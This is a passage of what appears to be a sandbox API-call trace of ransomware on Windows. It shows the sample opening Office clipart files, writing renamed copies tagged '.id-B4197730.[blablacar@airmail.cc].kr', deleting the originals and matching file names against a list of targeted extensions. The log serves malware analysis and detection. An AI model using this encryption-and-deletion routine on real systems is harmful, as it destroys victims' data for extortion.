liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.418] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.418] GetLastError () returned 0x0 [0194.418] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x329e, lpOverlapped=0x0) returned 1 [0194.420] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x32a0, lpOverlapped=0x0) returned 1 [0194.421] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.421] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.422] SetEndOfFile (hFile=0x410) returned 1 [0194.422] CloseHandle (hObject=0x410) returned 1 [0194.422] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.422] SetEndOfFile (hFile=0x3ec) returned 1 [0194.655] CloseHandle (hObject=0x3ec) returned 1 [0194.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.657] lstrlenW (lpString=".doc") returned 4 [0194.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".docx") returned 5 [0194.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.657] lstrlenW (lpString=".pdf") returned 4 [0194.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString=".xls") returned 4 [0194.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.657] lstrlenW (lpString=".xlsx") returned 5 [0194.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.657] lstrlenW (lpString=".ppt") returned 4 [0194.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.657] lstrlenW (lpString=".zip") returned 4 [0194.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.657] lstrlenW (lpString=".rar") returned 4 [0194.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString=".bz2") returned 4 [0194.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString=".7z") returned 3 [0194.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.658] lstrlenW (lpString=".dbf") returned 4 [0194.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.658] lstrlenW (lpString=".1cd") returned 4 [0194.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.658] lstrlenW (lpString=".jpg") returned 4 [0194.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.658] lstrlenW (lpString=".doc") returned 4 [0194.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString=".docx") returned 5 [0194.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.658] lstrlenW (lpString=".pdf") returned 4 [0194.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString=".xls") returned 4 [0194.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.658] lstrlenW (lpString=".xlsx") returned 5 [0194.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.658] lstrlenW (lpString=".ppt") returned 4 [0194.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.659] lstrlenW (lpString=".zip") returned 4 [0194.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.659] lstrlenW (lpString=".rar") returned 4 [0194.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.659] lstrlenW (lpString=".bz2") returned 4 [0194.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.659] lstrlenW (lpString=".7z") returned 3 [0194.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.659] lstrlenW (lpString=".dbf") returned 4 [0194.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.659] lstrlenW (lpString=".1cd") returned 4 [0194.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0194.659] lstrlenW (lpString=".jpg") returned 4 [0194.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.659] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.659] lstrlenW (lpString="FD02153_.WMF") returned 12 [0194.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.660] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5392) returned 1 [0194.660] CloseHandle (hObject=0x3ec) returned 1 [0194.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0194.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.661] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.661] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.662] GetLastError () returned 0x0 [0194.662] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1510, lpOverlapped=0x0) returned 1 [0194.664] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1520, lpOverlapped=0x0) returned 1 [0194.665] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.665] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.665] SetEndOfFile (hFile=0x370) returned 1 [0194.665] CloseHandle (hObject=0x370) returned 1 [0194.665] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.665] SetEndOfFile (hFile=0x3ec) returned 1 [0194.668] CloseHandle (hObject=0x3ec) returned 1 [0194.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0194.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.669] lstrlenW (lpString=".doc") returned 4 [0194.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.669] lstrlenW (lpString=".docx") returned 5 [0194.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.669] lstrlenW (lpString=".pdf") returned 4 [0194.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString=".xls") returned 4 [0194.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.670] lstrlenW (lpString=".xlsx") returned 5 [0194.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.670] lstrlenW (lpString=".ppt") returned 4 [0194.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.670] lstrlenW (lpString=".zip") returned 4 [0194.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.670] lstrlenW (lpString=".rar") returned 4 [0194.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString=".bz2") returned 4 [0194.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString=".7z") returned 3 [0194.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.670] lstrlenW (lpString=".dbf") returned 4 [0194.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.670] lstrlenW (lpString=".1cd") returned 4 [0194.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.670] lstrlenW (lpString=".jpg") returned 4 [0194.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.671] lstrlenW (lpString=".doc") returned 4 [0194.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString=".docx") returned 5 [0194.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.671] lstrlenW (lpString=".pdf") returned 4 [0194.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString=".xls") returned 4 [0194.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.671] lstrlenW (lpString=".xlsx") returned 5 [0194.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.671] lstrlenW (lpString=".ppt") returned 4 [0194.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.671] lstrlenW (lpString=".zip") returned 4 [0194.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.671] lstrlenW (lpString=".rar") returned 4 [0194.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString=".bz2") returned 4 [0194.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.671] lstrlenW (lpString=".7z") returned 3 [0194.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.671] lstrlenW (lpString=".dbf") returned 4 [0194.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.672] lstrlenW (lpString=".1cd") returned 4 [0194.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0194.672] lstrlenW (lpString=".jpg") returned 4 [0194.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.672] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.672] lstrlenW (lpString="FD02158_.WMF") returned 12 [0194.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.672] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1648) returned 1 [0194.673] CloseHandle (hObject=0x3ec) returned 1 [0194.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0194.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.673] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.673] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.674] GetLastError () returned 0x0 [0194.674] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x670, lpOverlapped=0x0) returned 1 [0194.676] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x680, lpOverlapped=0x0) returned 1 [0194.677] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.677] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.677] SetEndOfFile (hFile=0x370) returned 1 [0194.677] CloseHandle (hObject=0x370) returned 1 [0194.677] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.677] SetEndOfFile (hFile=0x3ec) returned 1 [0194.680] CloseHandle (hObject=0x3ec) returned 1 [0194.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.681] lstrlenW (lpString=".doc") returned 4 [0194.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.681] lstrlenW (lpString=".docx") returned 5 [0194.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.681] lstrlenW (lpString=".pdf") returned 4 [0194.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.681] lstrlenW (lpString=".xls") returned 4 [0194.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.681] lstrlenW (lpString=".xlsx") returned 5 [0194.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.681] lstrlenW (lpString=".ppt") returned 4 [0194.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString=".zip") returned 4 [0194.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.682] lstrlenW (lpString=".rar") returned 4 [0194.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString=".bz2") returned 4 [0194.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString=".7z") returned 3 [0194.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString=".dbf") returned 4 [0194.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString=".1cd") returned 4 [0194.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString=".jpg") returned 4 [0194.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.682] lstrlenW (lpString=".doc") returned 4 [0194.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString=".docx") returned 5 [0194.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.682] lstrlenW (lpString=".pdf") returned 4 [0194.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.682] lstrlenW (lpString=".xls") returned 4 [0194.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.683] lstrlenW (lpString=".xlsx") returned 5 [0194.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.683] lstrlenW (lpString=".ppt") returned 4 [0194.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.683] lstrlenW (lpString=".zip") returned 4 [0194.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.683] lstrlenW (lpString=".rar") returned 4 [0194.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.683] lstrlenW (lpString=".bz2") returned 4 [0194.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.683] lstrlenW (lpString=".7z") returned 3 [0194.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.683] lstrlenW (lpString=".dbf") returned 4 [0194.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.683] lstrlenW (lpString=".1cd") returned 4 [0194.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0194.683] lstrlenW (lpString=".jpg") returned 4 [0194.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.683] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.683] lstrlenW (lpString="FD02161_.WMF") returned 12 [0194.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.684] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3128) returned 1 [0194.684] CloseHandle (hObject=0x3ec) returned 1 [0194.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220 [0194.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.685] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.685] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 